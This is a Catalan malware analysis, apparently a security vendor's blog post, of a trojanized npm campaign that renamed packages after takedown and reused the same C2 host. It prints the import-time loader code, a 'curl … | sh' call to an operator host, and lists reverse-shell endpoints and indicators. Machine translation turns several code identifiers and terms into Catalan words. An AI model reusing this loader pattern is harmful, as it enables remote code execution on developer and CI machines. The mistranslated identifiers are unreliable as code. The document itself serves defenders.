GhostTracker: troià npm canviat de nom en 74 minuts — El mateix C2

GhostTracker: un troià npm que va canviar de nom poques hores després de la seva destrucció, i va mantenir el mateix C2.

TL; DR

Un únic operador npm publicat cinc paquets troianitzats en dues rondes en tres dies. Els paquets es fan passar per petites utilitats de color de terminal, logger i client Postgres. El codi maliciós s'executa el moment en què s'importa el paquet — no hi ha cap script d'instal·lació per detectar.

Primera ronda (neon-terminal, neon-postgres, ne-logger) no es va publicar el 05-07-2026 a les 14:14 UTC. Setanta-quatre minuts més tard el mateix compte va tornar a publicar el mateix troià amb noms nous (agn-terminal, agn-logger) — i ho va assenyalar cap al mateix punt final de comandament i control havia utilitzat abans: tracker.bvgroup.co.

Aquest host C2 és l'únic indicador que sobreviu al canvi de nom i el més ràpid que pot buscar un defensor. Gravetat: altEcosistema: npmEls paquets de la segona ronda encara estaven disponibles en el moment d'escriure aquest article.

L'atac: com funciona

Els paquets són esquers funcionals. Obre terminal agn i trobeu un ajudant de color ANSI complet i funcional — codis, suportaColor, acolorir, pintar — amb tipus i un README. El codi d'utilitat funciona. Enganxat a la part superior del mòdul d'entrada, per sobre del codi útil, hi ha unes quantes línies que s'executen en importar.

// agn-terminal 0.1.0 — src/index.js (top of module)
import { exec } from "node:child_process";

const child = exec(
  "curl -fsSL https://remote.agyn.org/remote.sh | " +
  "TRACKER_REMOTE_ENDPOINT='https://tracker.bvgroup.co/remote/…' sh",
  {}, (error, stdout, stderr) => {},
);

Tres coses fan que això sigui eficaç.

  • S'activa en la importació, no en la instal·lació. El paquet declara que no preinstal·lació or postinstal·lació ganxo — el lloc habitual on miren els escàners i els revisors. El exec la crida és codi a nivell de mòdul. S'executa la primera vegada que alguna cosa fa requereix("terminal-agn") or importar “agn-terminal”, a la màquina del desenvolupador o dins de CI. Tant l'entrada ESM (src/index.js) i l'entrada de CommonJS (cjs/src/index.js) porten la mateixa càrrega útil, de manera que tots dos sistemes de mòduls estan coberts.
  • La càrrega útil real viu fora del paquet. El paquet només inclou un programador d'una sola línia: fetch remote.agyn.org/remote.sh` i ho dirigirà a sh`. El que l'operador serveix des d'aquesta URL en el moment de la sol·licitud és el que s'executa. El punt final C2 es lliura a l'script descarregat a través de TRACKER_REMOTE_ENDPOINT variable d'entorn, de manera que l'script de la segona etapa truca a casa tracker.bvgroup.co.
  • Un paquet portador amplia el radi de l'explosió. agn-logger és un segon esquer: un "registrador global minúscul". No té cap càrrega útil pròpia. El seu mòdul d'entrada fa una cosa rellevant:
// agn-logger 0.1.0 — cjs/src/index.js
const { colorize, supportsColor } = require('agn-terminal');

Ho declara terminal agn com a dependència i l'importa. La instal·lació o importació del registrador extreu i activa el paquet del terminal de manera transitiva. Un projecte que mai anomena directament el troià encara el pot executar a través del registrador.

Què hi ha de nou aquí?

La primera ronda no va utilitzar un stager remot. Va distribuir la càrrega útil en línia i la va escalar versió per versió: un shell invers de bash en una versió, un xarxa.Socket closca inversa en el següent, a git add/commit/ push del directori de treball de la víctima en un altre, i finalment un agent de comandament i control HTTP complet en terminal de neó 0.9.0 que registrava l'amfitrió, feia sondejos de tasques i les executava amb exec(), i va transmetre la sortida codificada en base64. La segona ronda ho redueix tot en una sola rínxol | sh, movent completament la segona fase del registre. El mateix operador, paquet més silenciós, càrrega útil més flexible i, sobretot, el mateix C2 que abans.

Línia de temps

Data (UTC)esdeveniment
2026-07-03 07:03Primera ronda publicada: neon-terminal (0.1.0 net, després 0.2.0–0.9.0 maliciós), neon-postgres 3.5.2, ne-logger 0.7.0
2026-07-03 07:05neon-terminal marcat en l'escaneig en temps real
2026-07-04Confirmat com a maliciós; la correlació mostra els dos paquets germans; primers intents de retirada presentats
2026-07-05 14:14Primera ronda inèdita: totes vuit neon-terminal versions més germans eliminats
2026-07-05 15:28agn-terminal 0.1.0 publicat
2026-07-05 15:29agn-logger 0.1.0 publicat — operador per al nou paquet de terminal
2026-07-05 (en curs)Els paquets de la segona ronda estan disponibles en el moment d'escriure aquest article

Les dues rondes es divideixen en tres dies, i l'interval entre la retirada i el rellançament va ser de 74 minuts. La campanya està oberta: la agn-* els paquets no s'havien eliminat quan es va escriure això.

Indicadors de compromís

Cerca els noms dels paquets als fitxers de bloqueig i als arbres de dependències. Cerca el proxy, el DNS i EDR registres per als punts finals de la xarxa. L'amfitrió C2 tracker.bvgroup.co abasta les dues rondes i és l'indicador individual de valor més alt.

Paquets

paquetversionsPaperEstat
neon-terminal0.2.0–0.9.0troià (càrregues útils en línia → HTTP C2)inèdit
neon-postgres3.5.2troià (càrrega útil a src/errors.js)inèdit
ne-logger0.7.0transportista (depèn de neon-terminal)inèdit
agn-terminal0.1.0troià (curl | sh posador en escena)viure
agn-logger0.1.0transportista (depèn de agn-terminal)viure

terminal de neó La versió 0.1.0 era una versió neta (una biblioteca de colors funcional sense cap càrrega útil) publicada per establir el paquet abans que les versions malicioses continuessin.

Xarxa

IndicadorContext
tracker.bvgroup.co/remote/…HTTP C2, ambdues rondes (token de segona ronda) t42xNzaT2SnXbS_PsZ3gKDY-keTufZ2J)
remote.agyn.org/remote.shcarregador de segona ronda i primera etapa
reverse.bvgroup.co:443punt final de closca inversa de primera ronda (neon-terminal 0.6.0)
6.tcp.eu.ngrok.io:28754closca inversa rodona (neon-terminal 0.3.0)
2.tcp.eu.ngrok.io:25852closca inversa rodona (neon-terminal 0.4.0)
bvgroup.co, agyn.org, agyn.iodominis controlats per operadors

Comportamental

  • Nivell de mòdul procés_fill.exec a la part superior del fitxer d'entrada d'un paquet d'utilitats, en tots dos src/index.js (MES) i cjs/src/index.js (CJS).
  • A curl -fsSL … | sh una línia amb el C2 passat per un TRACKER_REMOTE_ENDPOINT variable d'entorn.
  • Un segon paquet "utilitat" que declara el primer com a dependència i l'importa, sense cap càrrega útil pròpia.
  • Una resta // terminal de neó comentari a la part superior de terminal agn — un artefacte de copiar i enganxar que enllaça el canvi de marca amb l'original.

Codis resumits de fitxers (SHA-256, segona ronda)

  • terminal agn src/index.js - 6d464cedf64f3a26fb8f5e61ee5730fe42be4135aa87429aeb514c4f97209bc7
  • terminal agn cjs/src/index.js - b85e80056a7607c49add12c1626881392a28e7d0e146e49a856d84725cfb46ac
  • agn-logger src/index.js - 667a858c749d058d4546654cdda59e963a1a0cba97900feeb96753c2d768ff19

Atribució i comportament observat

Cada paquet es rastreja fins a un compte npm, vitalii-agyn, publicant amb el correu electrònic no verificat vitalii@agyn.ioLes metadades del registre propi del compte enumeren els tres paquets de la primera ronda tal com els manté. La infraestructura uneix les rondes: el domini agyn.org coincideix amb l'editorial agyn.io domini de correu electrònic i l'amfitrió C2 tracker.bvgroup.co apareix en tots dos terminal de neó 0.9.0 i terminal agn 0.1.0 — la mateixa ruta de col·leccionista, reutilitzada literalment després del canvi de nom.

Descrivim què mostren els artefactes i ens aturem aquí. El correu electrònic indicat per l'editor és vitalii@agyn.io; no hem verificat la propietat d'aquesta adreça i no atribuïm el compte a cap persona o grup amb nom. La reutilització d'un punt final C2 entre dues famílies de paquets és un senyal fort del mateix operador, no una identitat.

Els paquets de la primera ronda es van basar en la adjacència de la marca. neon-postgres era un clon complet del molt utilitzat de Porsager postgres.js client, amb eslògan i tot, amb la càrrega útil inclosa src/errors.js de manera que una ruta d'importació rutinària hi arribaria, i el neó- El prefix pren la recognoscibilitat de Neon, el proveïdor de Postgres sense servidor. Els noms de la segona ronda van eliminar la suplantació d'identitat i es van convertir en genèrics (terminal agn, agn-logger), intercanviant l'atracció de marca per un descans més net dels noms cremats.

 Impacte, tendències i orientació per a defensors

  • Qui està exposat. Qualsevol persona que instal·li i importi un d'aquests paquets, directament o a través del proveïdor, en un amfitrió tipus Unix. L'agent de proves utilitza ris i sh; els cartutxos rodons utilitzen colpejar i /dev/tcpCom que l'execució es produeix durant la importació, n'hi ha prou amb un servidor de compilació que instal·li la dependència i executi qualsevol codi que hi estigui relacionat; no cal cap pas posterior a la instal·lació. En una estació de treball de desenvolupador o un executor de CI, la segona fase descarregada s'executa amb els privilegis de l'usuari i l'abast complet de la xarxa.
  • Per què importa l'execució en temps d'importació. Les defenses de la cadena de subministrament s'han concentrat en els scripts d'instal·lació, i amb raó: la postinstal·lació és el punt de suport clàssic de npm. Aquesta campanya ho evita completament. No hi ha cap ganxo d'instal·lació per marcar. El codi maliciós és la inicialització ordinària d'un mòdul, indistingible a simple vista d'un paquet que calcula una taula de cerca durant la càrrega. Les eines que només inspeccionen els scripts del fitxer package.json no veuen res.
  • La tendència del canvi de marca i la reutilització. El canvi de 74 minuts és la història. Takedown va eliminar els noms però no l'operador, la infraestructura ni el codi. En menys d'una hora, la campanya va tornar a estar activa amb noms nous que apuntaven al mateix C2. El bloqueig basat en noms (denylisting neon-terminal) ja hauria estat obsolet. El bloqueig basat en infraestructura (denylisting bvgroup.co) hauria arribat a la segona ronda. Per a un operador en funcionament que torna a publicar més ràpid que els registres, l'indicador durador és el punt final de la xarxa, no el nom del paquet.

Què fer ara

  • Fitxers de bloqueig Grep i arbres instal·lats per als cinc noms de paquets anteriors. Tracta qualsevol coincidència com un host compromès i rota les credencials accessibles des d'ell.
  • Bloqueja i alerta als dominis bvgroup.co, agyn.orgi els punts finals d'ngrok al DNS i al filtratge de sortida. tracker.bvgroup.co és la prioritat.
  • No confieu només en l'escaneig d'instal·lació de ganxos. Afegiu detecció a nivell de mòdul. procés_fill i trucades de xarxa en dependències, i per a rínxol … | sh patrons al codi font del paquet.
  • Tracta un paquet d'utilitats que declara una altra utilitat desconeguda com a única dependència i l'importa durant la càrrega com a quelcom que val la pena revisar.
  • En CI, preferible -ignore-scripts on sigui pràctic, però entengueu que no ajuda aquí: la càrrega útil s'executa durant la importació, de manera que els controls de sortida en temps d'execució i la revisió de dependències són més importants.

referències

sca-tools-software-composition-analyse-tools
Prioritzar, solucionar i protegir els riscos del programari
Obtén el teu compte gratuït.
No es requereix cap targeta de crèdit.

Assegura el desenvolupament i el lliurament del teu programari

amb el paquet de productes Xygeni